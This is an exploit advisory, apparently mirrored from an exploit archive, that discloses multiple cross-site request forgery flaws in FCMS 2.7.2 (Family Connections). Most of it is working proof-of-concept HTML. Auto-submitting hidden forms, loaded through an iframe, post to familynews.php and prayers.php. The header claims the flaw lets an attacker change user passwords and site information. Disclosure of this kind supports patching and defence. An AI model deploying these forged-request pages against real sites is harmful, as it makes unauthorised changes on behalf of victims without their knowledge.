FCMS CMS 2.7.2 - Multiple Cross-Site Request Forgery Vulnerabilities

🗓️ 11 Dec 2011 00:00:00Reported by Ahmed Elhady MohamedType

FCMS CMS 2.7.2 multiple CSRF Vulnerabilities allowing unauthorized password and website information change

FCMS_2.7.2 cms and earlier multiple CSRF Vulnerability
===================================================================================
# Exploit Title: FCMS_2.7.2 cms multiple CSRF Vulnerability

Download link :http://sourceforge.net/projects/fam-connections/files/Family%20Connections/2.7.2/FCMS_2.7.2.zip/download

# Author: Ahmed Elhady Mohamed

#version : 2.7.2

# Category:: webapps

# Tested on: windows XP Sp2 En

# This vulnerability allows a malicious hacker to change password of a user
and also it allows changing the website information.
===================================================================================



#First we must install all optional sections during installation process.
      
#there are csrf in all sections in this application for examples you can add news , pray for , 
change the password and can do all functionalities are there.
	
#here are some examples for prove of concept
	

#########################################exploit code for Page "familynews.php"################################################	
	
	#Save the following codr in a file called "code.html"

		<html>
			<head>
				<script type="text/javascript">
					function autosubmit() {
						document.getElementById('ChangeSubmit').submit();
					}	
				</script>
			</head>
			<body  onLoad="autosubmit()">
				<form method="POST"  action="http://127.0.0.1/FCMS_2.7.2/FCMS_2.7.2/familynews.php"  id="ChangeSubmit">
					<input type="hidden"  name="title"  value="test" />
					<input type="hidden"  name="submitadd"  value="Add" />
					<input type="hidden"  name="post"  value="testcsrf" />
					<input type="submit" value="submit"/>
				</form>
			</body>
		</html>


	
	#then i called "code.html" from another page 

	<html>
		<body>
			<iframe  src="code.html" onLoad=""></iframe>
		</body>
	</html>


###########################################exploit code for Page "prayers.php" #################################################### 
	
	#Save the following code in a file called "code.html"
	<html>
		<head>
			<script type="text/javascript">
				function autosubmit() {	
					document.getElementById('ChangeSubmit').submit();
				}	
			</script>
		</head>
		<body  onLoad="autosubmit()">
			<form method="POST"  action="http://127.0.0.1/FCMS_2.7.2/FCMS_2.7.2/prayers.php" id="ChangeSubmit">
				<input type="hidden"  name="for"  value="test" />
				<input type="hidden"  name="submitadd"  value="Add" />
				<input type="hidden"  name="desc"  value="testtest" />
				<input type="submit" value="submit"/>
			</form>
		
		</body>
	</html>
	
	#then i called "code.html" from another page 

	<html>
		<body>
			<iframe  src="code.html" onLoad=""></iframe>
		</body>
	</html>


  	##############################################################################################################################

11 Dec 2011 00:00Current

7.4High risk

Vulners AI Score7.4

fcms cms fcms_2.7.2 multiple cross-site request forgery vulnerabilities webapps sourceforge ahmed elhady mohamed installation csrf windows xp sp2 en change password website information sections examples prove of concept page familynews.php code.html exploit prayers.php iframe<src=code.html> unauthorized changes